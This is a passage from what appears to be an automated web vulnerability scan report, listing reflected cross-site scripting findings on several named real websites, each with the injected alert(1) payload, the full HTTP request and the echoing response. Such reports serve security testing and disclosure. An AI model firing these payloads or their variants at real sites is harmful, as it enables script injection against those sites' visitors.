The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9b88b'><script>alert(1)</script>2e52ce55555 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RuFuATqDZ_452086828.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NERCNDNGOEEwMDAwQzA2QjBBRTUzQThBMjczNjIyMjd8R0ZKczh3VGxEUHwxMzAzNjU4MzgwMTAwfDF8MEZwU0VZRzVFdXwwUnVGdUFUcURafEVYXzEwMjM0NzcyMDZ8ODUwMDAw9b88b'><script>alert(1)</script>2e52ce55555&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_igAAwGsK5TqKJzYiJ8PEWQEBkOCrFi1HVQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZwU0VZRzVFdQ&ciu=MFJ1RnVBVHFEWg&reqid=NERCNDNGOEEwMDAwQzA2QjBBRTUzQThBMjczNjIyMjc&ccw=SUFCMSMwLjB8SUFCOCMwLjA&bp=850&zc=NzUyMDc&v=0&s=http%3A%2F%2F& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658381022&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303658381041&frm=1&adk=513358139&ga_vid=971996930.1303658381&ga_sid=1303658381&ga_hid=548328206&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&eid=33895132&fu=4&ifi=1&dtd=27
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:19:59 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 14:45:17 GMT
Accept-Ranges: bytes
Last-Modified: Mon, 11 Apr 2011 19:58:56 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 860

<iframe id='a22bf83a' name='a22bf83a' src='http://d.w55c.net/afr.php?zoneid=768&cb=NERCNDNGOEEwMDAwQzA2QjBBRTUzQThBMjczNjIyMjd8R0ZKczh3VGxEUHwxMzAzNjU4MzgwMTAwfDF8MEZwU0VZRzVFdXwwUnVGdUFUcURafEVYX
...[SNIP]...
<a href='http://d.w55c.net/ck.php?n=aaa45e90&cb=NERCNDNGOEEwMDAwQzA2QjBBRTUzQThBMjczNjIyMjd8R0ZKczh3VGxEUHwxMzAzNjU4MzgwMTAwfDF8MEZwU0VZRzVFdXwwUnVGdUFUcURafEVYXzEwMjM0NzcyMDZ8ODUwMDAw9b88b'><script>alert(1)</script>2e52ce55555' target='_blank'>
...[SNIP]...

6.104. http://cdn.w55c.net/i/0RuFuATqDZ_452086828.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RuFuATqDZ_452086828.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5752d'><script>alert(1)</script>f9aa01ebcbc was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RuFuATqDZ_452086828.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=5752d'><script>alert(1)</script>f9aa01ebcbc&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_igAAwGsK5TqKJzYiJ8PEWQEBkOCrFi1HVQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZwU0VZRzVFdQ&ciu=MFJ1RnVBVHFEWg&reqid=NERCNDNGOEEwMDAwQzA2QjBBRTUzQThBMjczNjIyMjc&ccw=SUFCMSMwLjB8SUFCOCMwLjA&bp=850&zc=NzUyMDc&v=0&s=http%3A%2F%2F& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658381022&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303658381041&frm=1&adk=513358139&ga_vid=971996930.1303658381&ga_sid=1303658381&ga_hid=548328206&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&eid=33895132&fu=4&ifi=1&dtd=27
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:20:01 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 14:45:17 GMT
Accept-Ranges: bytes
Last-Modified: Mon, 11 Apr 2011 19:58:56 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 452

<iframe id='a22bf83a' name='a22bf83a' src='http://d.w55c.net/afr.php?zoneid=768&cb=5752d'><script>alert(1)</script>f9aa01ebcbc' frameborder='0' scrolling='no' width='728' height='90'><a href='http
...[SNIP]...

6.105. http://consumerinfo.tt.omtrdc.net/m2/consumerinfo/mbox/standard [mbox parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://consumerinfo.tt.omtrdc.net
Path:	/m2/consumerinfo/mbox/standard

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 5d3dc<script>alert(1)</script>83279623ec6 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/consumerinfo/mbox/standard?mboxHost=www.freecreditscore.com&mboxSession=1303674291453-51326&mboxPage=1303674291453-51326&mboxCount=1&mbox=FCS_LP21_TopSection5d3dc<script>alert(1)</script>83279623ec6&mboxId=0&mboxTime=1303656291456&mboxURL=http%3A%2F%2Fwww.freecreditscore.com%2Fdni%2Fdefault.aspx%3FPageTypeID%3DHomePage21%26SiteVersionID%3D932%26SiteID%3D100323%26sc%3D671212%26bcd%3D&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: consumerinfo.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.freecreditscore.com/dni/default.aspx?PageTypeID=HomePage21&SiteVersionID=932&SiteID=100323&sc=671212&bcd=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 214
Date: Sun, 24 Apr 2011 19:57:27 GMT
Server: Test & Target

mboxFactories.get('default').get('FCS_LP21_TopSection5d3dc<script>alert(1)</script>83279623ec6',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1303674291453-51326.17");

6.106. http://controlcase.com/contact.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://controlcase.com
Path:	/contact.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c814"%20style%3dx%3aexpression(alert(1))%20136bf77f9a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6c814\" style=x:expression(alert(1)) 136bf77f9a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /contact.php?subject=Contact%20Control/6c814"%20style%3dx%3aexpression(alert(1))%20136bf77f9aCase HTTP/1.1
Host: controlcase.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=208121856.1303664485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _pk_id.3.4216=e72cf29c5d1c4bcd.1303664485.1.1303664491.1303664485; _pk_ses.3.4216=*; __utma=208121856.1998732058.1303664485.1303664485.1303664485.1; __utmc=208121856; __utmb=208121856.2.10.1303664485

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 17:14:13 GMT
Server: Apache/2.0.55 (Win32)
Set-Cookie: PHPSESSID=caaa7528c88df0d3e5e633b1f78bd93d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 22252

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<input type="hidden" name="subject" value="Contact Control/6c814\" style=x:expression(alert(1)) 136bf77f9aCase" />
...[SNIP]...

6.107. http://controlcase.com/contact.php [subject parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://controlcase.com
Path:	/contact.php

Issue detail

The value of the subject request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89ec3"%20style%3dx%3aexpression(alert(1))%201b20023cb56 was submitted in the subject parameter. This input was echoed as 89ec3\" style=x:expression(alert(1)) 1b20023cb56 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /contact.php?subject=Contact%20ControlCase89ec3"%20style%3dx%3aexpression(alert(1))%201b20023cb56 HTTP/1.1
Host: controlcase.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=208121856.1303664485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _pk_id.3.4216=e72cf29c5d1c4bcd.1303664485.1.1303664491.1303664485; _pk_ses.3.4216=*; __utma=208121856.1998732058.1303664485.1303664485.1303664485.1; __utmc=208121856; __utmb=208121856.2.10.1303664485

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 17:12:28 GMT
Server: Apache/2.0.55 (Win32)
Set-Cookie: PHPSESSID=7ca8ab8a264ea6e518cb96ea41afe741; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 22252

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<input type="hidden" name="subject" value="Contact ControlCase89ec3\" style=x:expression(alert(1)) 1b20023cb56" />
...[SNIP]...

6.108. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97760"%3balert(1)//941102d704 was submitted in the $ parameter. This input was echoed as 97760";alert(1)//941102d704 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=&$=97760"%3balert(1)//941102d704&s=123&z=0.5585765927098691 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=929:97760";alert(1)//941102d704;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "831e6297-8181-4a12afe7ac640"
Vary: Accept-Encoding
X-Varnish: 1634235142 1634232783
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=37
Expires: Sun, 24 Apr 2011 16:00:25 GMT
Date: Sun, 24 Apr 2011 15:59:48 GMT
Connection: close
Content-Length: 2415

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat=',97760";alert(1)//941102d704';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,97760";alert(1)//941102d704;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzStr = "s=123;u=5ajh4goBADQAAFjiiCYAAABN~042311;z=" + M
...[SNIP]...

6.109. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 87518'%3balert(1)//d55194ad270 was submitted in the $ parameter. This input was echoed as 87518';alert(1)//d55194ad270 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=&$=87518'%3balert(1)//d55194ad270&s=123&z=0.5585765927098691 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=929:87518';alert(1)//d55194ad270;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "831e6297-8181-4a12afe7ac640"
Vary: Accept-Encoding
X-Varnish: 1634235142 1634232783
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=37
Expires: Sun, 24 Apr 2011 16:00:25 GMT
Date: Sun, 24 Apr 2011 15:59:48 GMT
Connection: close
Content-Length: 2420

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat=',87518';alert(1)//d55194ad270';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,87518';alert(1)//d55194ad270;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasA
...[SNIP]...

6.110. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9dc62"%3balert(1)//ab56dd9d241 was submitted in the $ parameter. This input was echoed as 9dc62";alert(1)//ab56dd9d241 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=&$=9dc62"%3balert(1)//ab56dd9d241&s=123&z=0.06824745330959558 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1; ZCBC=1; FFad=0; FFcat=929,286,14

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=929:9dc62";alert(1)//ab56dd9d241;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=1;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "82a0ef50-838c-4a12afe0ff680"
Vary: Accept-Encoding
X-Varnish: 1634234217 1634232398
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=48
Expires: Sun, 24 Apr 2011 16:01:25 GMT
Date: Sun, 24 Apr 2011 16:00:37 GMT
Connection: close
Content-Length: 2441

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat=',9dc62";alert(1)//ab56dd9d241';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,9dc62";alert(1)//ab56dd9d241;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzStr = "s=123;u=5ajh4goBADQAAFjiiCYAAABN~042311;z=" + M
...[SNIP]...

6.111. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91bdd'%3balert(1)//a4b044a2860 was submitted in the $ parameter. This input was echoed as 91bdd';alert(1)//a4b044a2860 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=&$=91bdd'%3balert(1)//a4b044a2860&s=123&z=0.06824745330959558 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1; ZCBC=1; FFad=0; FFcat=929,286,14

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=929:91bdd';alert(1)//a4b044a2860;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=1;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "82a0ef50-838c-4a12afe0ff680"
Vary: Accept-Encoding
X-Varnish: 1634234217 1634232398
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=48
Expires: Sun, 24 Apr 2011 16:01:25 GMT
Date: Sun, 24 Apr 2011 16:00:37 GMT
Connection: close
Content-Length: 2441

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat=',91bdd';alert(1)//a4b044a2860';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,91bdd';alert(1)//a4b044a2860;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasA
...[SNIP]...

6.112. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32371"%3balert(1)//535bf6c677 was submitted in the q parameter. This input was echoed as 32371";alert(1)//535bf6c677 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=32371"%3balert(1)//535bf6c677&$=&s=123&z=0.5585765927098691 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=0;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "831e6297-8181-4a12afe7ac640"
Vary: Accept-Encoding
X-Varnish: 1634235142 1634232783
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=38
Expires: Sun, 24 Apr 2011 16:00:25 GMT
Date: Sun, 24 Apr 2011 15:59:47 GMT
Connection: close
Content-Length: 2422

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat='32371";alert(1)//535bf6c677';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=32371";alert(1)//535bf6c677;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzStr = "s=123;u=5ajh4goBADQAAFjiiCYAAABN~042311;z=" + M
...[SNIP]...

6.113. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ad87'%3balert(1)//84f498407fc was submitted in the q parameter. This input was echoed as 9ad87';alert(1)//84f498407fc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=9ad87'%3balert(1)//84f498407fc&$=&s=123&z=0.06824745330959558 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1; ZCBC=1; FFad=0; FFcat=929,286,14

